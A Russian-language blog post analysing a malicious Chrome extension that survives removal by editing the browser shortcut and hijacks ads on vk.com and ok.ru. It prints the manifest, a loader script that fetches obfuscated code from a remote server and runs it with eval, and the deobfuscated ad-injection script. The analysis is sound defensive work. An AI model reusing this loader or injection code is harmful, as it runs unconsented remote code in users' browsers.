[Из песочницы] Анализ вредоносного расширения Google chrome
Добрый день, сегодня я расскажу про одного зловреда, пойманного на просторах Интернета. Данный зловред прикидывается расширением для браузера Google Chrome. При заражении видоизменяет ярлык, дописывая команду загрузки расширения (--load-extension «путь до зловреда»). То есть, можно удалить расширение в браузере, но при следующем запуске оно установиться вновь.
Давайте заглянем «под капот» расширения:
Все исходники расширения доступны по ссылке github .
Из файла манифеста понятно что точка входа фаил bg.js, файлы bgvk.js и bgvk.css подключаются для сайта vk.com. По аналогии фалы bgok.js и bgok.css подключаются для сайта odnoklassniki.ru. Все файлы скриптов обфусцированы.
Скрипт тянется в 3 места:
По первой ссылке получаем файлик json следующего содержания:
Далее малварь тянет скрипт по этому урлу: h**p://apiadv.me/js/vkapi.js. затем идет сравнение его хеша (для получения хеша файла как раз и нужен скрипт hash.js) со значением hashv из json (правильно, а то вдруг недруги скомпрометируют!). Далее происходит сохранение полученного скрипта в chrome.storage.local под значением bxGZABwi.
Тут происходит попытка загрузить данные из chrome.storage.local и добавление их к элементу head страницы. В случае отсутствия данных скрипт пытается забрать их из сети по той же ссылке.
Так что же к нам так усердно пытаются загрузить?
При переходе по url получаем обфусцированный файл. С помощью jsbeautifier.org приводим его к вполне читаемому виду:
Скрипт удаляет рекламу, которую отрисовывает сайт vk.com, после чего создается 2 элемента Iframe. В один из iframe отрисовывается реклама с url= :»//axisworlds.me/advpages/vadvaaa/vadvmgh.html»,
затем Iframe с рекламой размещается на месте «легитимной» рекламы сайта vk.com.
Возможно это всего лишь мои предрассудки, но всё же. На текущий момент расширение просто перерисовывает рекламу в двух соц сетях, но в то же время переквалифицировать его в нечто более серьезное, изменив исходники на сервере, не составит владельцу особого труда.
Давайте заглянем «под капот» расширения:
Структура расширения
Manifest.json
Bg.js
bgok.js
hash.js
bgvk.js
123.png
Папки _locales и CSS
Bg.js
bgok.js
hash.js
bgvk.js
123.png
Папки _locales и CSS
Все исходники расширения доступны по ссылке github .
Manifest.json
{
"manifest_version": 2,
"name": "Go fire",
"permissions": [ "", "*://*/*", "unlimitedStorage", "storage", "tabs", "activeTab" ],
"version": "3.8",
"background": {
"persistent": true,
"scripts": [ "hash.js", "bg.js" ]
},
"content_scripts": [ {
"css": [ "css/bgvk.css" ],
"js": [ "bgvk.js" ],
"matches": [ "*://vk.com/*", "*://*.vk.com/*" ]
}, {
"css": [ "css/bgok.css" ],
"js": [ "bgok.js" ],
"matches": [ "*://odnoklassniki.ru/*", "*://www.odnoklassniki.ru/*", "*://ok.ru/*", "*://*.ok.ru/*" ]
} ],
"default_locale": "ru",
"description": "__MSG_appDesc__",
"icons": {
"128": "128.png"
}
}
Из файла манифеста понятно что точка входа фаил bg.js, файлы bgvk.js и bgvk.css подключаются для сайта vk.com. По аналогии фалы bgok.js и bgok.css подключаются для сайта odnoklassniki.ru. Все файлы скриптов обфусцированы.
Описание bg.js
Скрипт тянется в 3 места:
h**p://apiadv.me/hashes/apis.json
h**p://apiadv.me/js/vkapi.js
h**p://apiadv.me/js/okapi.js
По первой ссылке получаем файлик json следующего содержания:
[{"hashv":"13961f856524885207d8613a375ac2a9","hasho":"661f0a082c3153025f315eed43632dad"}]
Далее малварь тянет скрипт по этому урлу: h**p://apiadv.me/js/vkapi.js. затем идет сравнение его хеша (для получения хеша файла как раз и нужен скрипт hash.js) со значением hashv из json (правильно, а то вдруг недруги скомпрометируют!). Далее происходит сохранение полученного скрипта в chrome.storage.local под значением bxGZABwi.
Аналогично тянется скрипт h**p://apiadv.me/js/okapi.js — он сохраняется под значением tQFzTAwV. Дальнейший анализ будет только для сайта vk.com, для сайта ok.ru происходит аналогичный сценарий.
Рассмотрим поближе bgvk.js
bgvk.js
var IlTPXFOys = 'IlTPXFOysLy9hcGlhZHYubWUvanMvdmthcGkuanM=IlTPXFOya'; // "http://apiadv.me/js/vkapi.js"
var j = '//ajax.googleapis.com/ajax/libs/jquery/1.12.3/jquery.min.js';
var s = document.createElement('script');
s.type = 'text/javascript';
s.src = j;
document.head.appendChild(s);
function LnDgSyNS() {
var b = new XMLHttpRequest();
b.open('GET', j, true);
b.onreadystatechange = function () {
if (b.readyState == 4 && b.status === 200) {
eval(b.responseText);
}
;
};
b.send();
var t = 0;
function g() {
if (window.jQuery) {
jQuery.getScript(atob(IlTPXFOys.slice(9, -9)) + '?' + Math.floor((Math.random() * 1e+10) + 1));
} else {
t++;
if (t < 100) {
setTimeout(g, 100);
}
;
}
;
};
g();
};
chrome.storage.local.get({bxGZABwi: ''}, function (syncdata) {
if (!chrome.runtime.lastError) {
if (syncdata.bxGZABwi != '') {
var i = document.createElement('script');
i.type = 'text/javascript';
i.innerHTML = syncdata.bxGZABwi;
document.head.appendChild(i);
} else {
LnDgSyNS();
}
;
} else {
LnDgSyNS();
}
;
});
Тут происходит попытка загрузить данные из chrome.storage.local и добавление их к элементу head страницы. В случае отсутствия данных скрипт пытается забрать их из сети по той же ссылке.
Так что же к нам так усердно пытаются загрузить?
Рассмотрим файл vkapi.js
При переходе по url получаем обфусцированный файл. С помощью jsbeautifier.org приводим его к вполне читаемому виду:
vkapi.js
if (document['getElementById']('ads_left') != null) {
document['getElementById']('ads_left')['innerHTML'] = ''
};
if (document['getElementById']('left_ads') != null) {
document['getElementById']('left_ads')['innerHTML'] = ''
};
var vkui = 1;
if (document['getElementById']('side_bar_inner') == null) {
vkui = 2
};
function A() {
var _0xb14bx3 = '';
var _0xb14bx4 = 'abcdefghijklmnopqrstuvwxyz_';
for (var _0xb14bx5 = 0; _0xb14bx5 < 32; _0xb14bx5++) {
_0xb14bx3 += _0xb14bx4['charAt'](Math['floor'](Math['random']() * _0xb14bx4['length']))
};
return _0xb14bx3
}
var asrcfrmn = A();
function SETSRCFRM(_0xb14bx8) {
var _0xb14bx9;
if (_0xb14bx8 == 1) {
_0xb14bx9 = 'side_bar_inner'
} else {
_0xb14bx9 = 'side_bar'
};
if (document['getElementById'](_0xb14bx9) != null && document['getElementById'](asrcfrmn) == null && document['getElementById'](asrcfrmn + '_a') == null && document['getElementById']('quick_login') == null) {
var _0xb14bxa = document['createElement']('div');
_0xb14bxa['setAttribute']('id', asrcfrmn);
_0xb14bxa['setAttribute']('style', 'position:relative;');
if (_0xb14bx8 == 1) {
$('#' + _0xb14bx9 + ' ol')['after'](_0xb14bxa)
} else {
$('#' + _0xb14bx9)['append'](_0xb14bxa)
};
var _0xb14bxb = 'display:none;padding:0px;padding-top:0px;border:none;width:130px;height:1080px;overflow:hidden;z-index:100;position:static;';
var _0xb14bxc = document['createElement']('iframe');
_0xb14bxc['setAttribute']('style', _0xb14bxb);
_0xb14bxc['setAttribute']('id', asrcfrmn + '_a');
_0xb14bxc['setAttribute']('marginwidth', '0');
_0xb14bxc['setAttribute']('marginheight', '0');
_0xb14bxc['setAttribute']('scrolling', 'no');
_0xb14bxc['setAttribute']('frameborder', '0');
$('#' + asrcfrmn)['append'](_0xb14bxc);
var _0xb14bxd = document['createElement']('iframe');
_0xb14bxd['setAttribute']('style', _0xb14bxb);
_0xb14bxd['setAttribute']('id', asrcfrmn + '_b');
_0xb14bxd['setAttribute']('marginwidth', '0');
_0xb14bxd['setAttribute']('marginheight', '0');
_0xb14bxd['setAttribute']('scrolling', 'no');
_0xb14bxd['setAttribute']('frameborder', '0');
$('#' + asrcfrmn)['append'](_0xb14bxd)
};
function _0xb14bxe() {
var _0xb14bxe = ['aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2cmNrdGFoLmh0bWw=', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGQuY28vYWR2cGFnZXMvdmFkdmFhYS92YWR2bWdoYS5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdnJja3RhaC5odG1s', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9heGlzd29ybGRzLm1lL2FkdnBhZ2VzL3ZhZHZhYWEvdmFkdm1naGEuaHRtbA==', 'aRMLy9zZWFyY2hwbHVzLm1lL3ZhZHZhL3ZhZHZyY2EuaHRtbA=='];
return _0xb14bxe[Math['floor'](Math['random']() * _0xb14bxe['length'])]['substr'](3)
}
function _0xb14bxf(_0xb14bx10, _0xb14bx11, _0xb14bx12, _0xb14bx13, _0xb14bx14, _0xb14bx15) {
if (_0xb14bx13 == 0 && _0xb14bx14 == 0) {
$(_0xb14bx10)['animate']({
opacity: _0xb14bx12
}, _0xb14bx11, function () {
if (_0xb14bx15 == 1) {
$(_0xb14bx10)['removeAttr']('src')
}
})
};
if (_0xb14bx13 != 0 && _0xb14bx14 == 0) {
$(_0xb14bx10)['animate']({
opacity: _0xb14bx12
}, _0xb14bx11, function () {
$(_0xb14bx10)['css']({
"display": _0xb14bx13
});
if (_0xb14bx15 == 1) {
$(_0xb14bx10)['removeAttr']('src')
}
})
};
if (_0xb14bx13 == 0 && _0xb14bx14 != 0) {
$(_0xb14bx10)['animate']({
opacity: _0xb14bx12
}, _0xb14bx11, function () {
$(_0xb14bx10)['css']({
"position": _0xb14bx14
});
if (_0xb14bx15 == 1) {
$(_0xb14bx10)['removeAttr']('src')
}
})
};
if (_0xb14bx13 != 0 && _0xb14bx14 != 0) {
$(_0xb14bx10)['animate']({
opacity: _0xb14bx12
}, _0xb14bx11, function () {
$(_0xb14bx10)['css']({
"display": _0xb14bx13
, "position": _0xb14bx14
});
if (_0xb14bx15 == 1) {
$(_0xb14bx10)['removeAttr']('src')
}
})
}
}
var _0xb14bx16 = document['getElementById'](asrcfrmn + '_a');
var _0xb14bx17 = document['getElementById'](asrcfrmn + '_b');
if (_0xb14bx16['style']['display'] == 'none') {
_0xb14bx16['setAttribute']('src', atob(_0xb14bxe()));
function _0xb14bx18() {
document['getElementById'](asrcfrmn + '_a')['onload'] = null;
if (_0xb14bx16['getAttribute']('src') != null) {
$('#' + asrcfrmn + '_b')['css']({
"z-index": '100'
, "position": 'static'
});
$('#' + asrcfrmn + '_a')['css']({
"z-index": '101'
, "position": 'absolute'
, "opacity": 0
, "display": 'block'
, "top": 0
, "left": 0
});
_0xb14bxf('#' + asrcfrmn + '_a', 200, 1, 0, 'static', 0);
_0xb14bxf('#' + asrcfrmn + '_b', 200, 0, 'none', 0, 1)
}
}
document['getElementById'](asrcfrmn + '_a')['onload'] = _0xb14bx18
} else {
_0xb14bx17['setAttribute']('src', atob(_0xb14bxe()));
function _0xb14bx19() {
document['getElementById'](asrcfrmn + '_b')['onload'] = null;
if (_0xb14bx17['getAttribute']('src') != null) {
$('#' + asrcfrmn + '_a')['css']({
"z-index": '100'
, "position": 'static'
});
$('#' + asrcfrmn + '_b')['css']({
"z-index": '101'
, "position": 'absolute'
, "opacity": 0
, "display": 'block'
, "top": 0
, "left": 0
});
_0xb14bxf('#' + asrcfrmn + '_b', 200, 1, 0, 'static', 0);
_0xb14bxf('#' + asrcfrmn + '_a', 200, 0, 'none', 0, 1)
}
}
document['getElementById'](asrcfrmn + '_b')['onload'] = _0xb14bx19
}
}
var winact;
var eventct = 1;
function RI() {
IRF = setInterval(function () {
if (winact == 'active') {
SETSRCFRM()
}
}, 120000)
}
function FR() {
setTimeout(function () {
eventct = 0
}, 3500)
}
function CL() {
if (eventct == 0) {
eventct = 1;
SETSRCFRM();
clearInterval(IRF);
RI();
FR()
}
}
function RLA() {
$('#left_ads, #ads_left')['remove']();
setTimeout(RLA, 30000)
}
function MAINSTART() {
SETSRCFRM(vkui);
FR();
RI();
RLA();
var _0xb14bx21 = $('#side_bar_inner ol')['height']() - 8;
if (_0xb14bx21 > 6) {
$('#side_bar_inner')['css']('height', _0xb14bx21)
};
$('a, a span')['click'](function () {
CL()
});
$(document)['on']('click', 'a div, div a, button, a > b', function () {
CL()
});
setTimeout(function () {
$('#left_blocks, .left_holiday')['animate']({
"opacity": '0'
}, 300, function () {
$('#left_blocks, .left_holiday')['hide']()
})
}, 10000);
var _0xb14bx22;
$(document)['mousemove'](function () {
if (winact != 'active') {
winact = 'active'
};
clearTimeout(_0xb14bx22);
_0xb14bx22 = setTimeout(function () {
winact = 'inactive'
}, 120000)
});
$(document)['hover'](function (_0xb14bx23) {
if (_0xb14bx23['fromElement']) {
winact = 'inactive';
clearTimeout(_0xb14bx22)
} else {
winact = 'active'
}
})
}
var trystart = 0;
function START() {
trystart += 1;
if (window['jQuery']) {
MAINSTART()
} else {
if (trystart > 35) {
var _0xb14bx26 = document['createElement']('script');
_0xb14bx26['type'] = 'text/javascript';
_0xb14bx26['src'] = '//code.jquery.com/jquery-1.12.3.min.js';
document['head']['appendChild'](_0xb14bx26)
};
if (trystart < 500) {
setTimeout(START, 75)
}
}
}
START();
var st = document['createElement']('style');
st['innerHTML'] = '#left_ads,#left_ads > *,#ads_left,#ads_left > * > *,div[id*="ayments_bo"],div[class*="anding_moneysen"],div[id*="ds_page_simpl"] div[class*="ds_intro_pag"],div[id*="ickets_conten"] div[id*="ew_ticke"],div[id="ads_page_wrap3"],div[class*="log_about_pres"] div[class*="log_about_wra"]{display:none!important;opacity:0!important;height:0px!important;min-height:0px!important;}';
document['head']['appendChild'](st)
Скрипт удаляет рекламу, которую отрисовывает сайт vk.com, после чего создается 2 элемента Iframe. В один из iframe отрисовывается реклама с url= :»//axisworlds.me/advpages/vadvaaa/vadvmgh.html»,
затем Iframe с рекламой размещается на месте «легитимной» рекламы сайта vk.com.
Вместо эпилога.
Возможно это всего лишь мои предрассудки, но всё же. На текущий момент расширение просто перерисовывает рекламу в двух соц сетях, но в то же время переквалифицировать его в нечто более серьезное, изменив исходники на сервере, не составит владельцу особого труда.
Спасибо за внимание!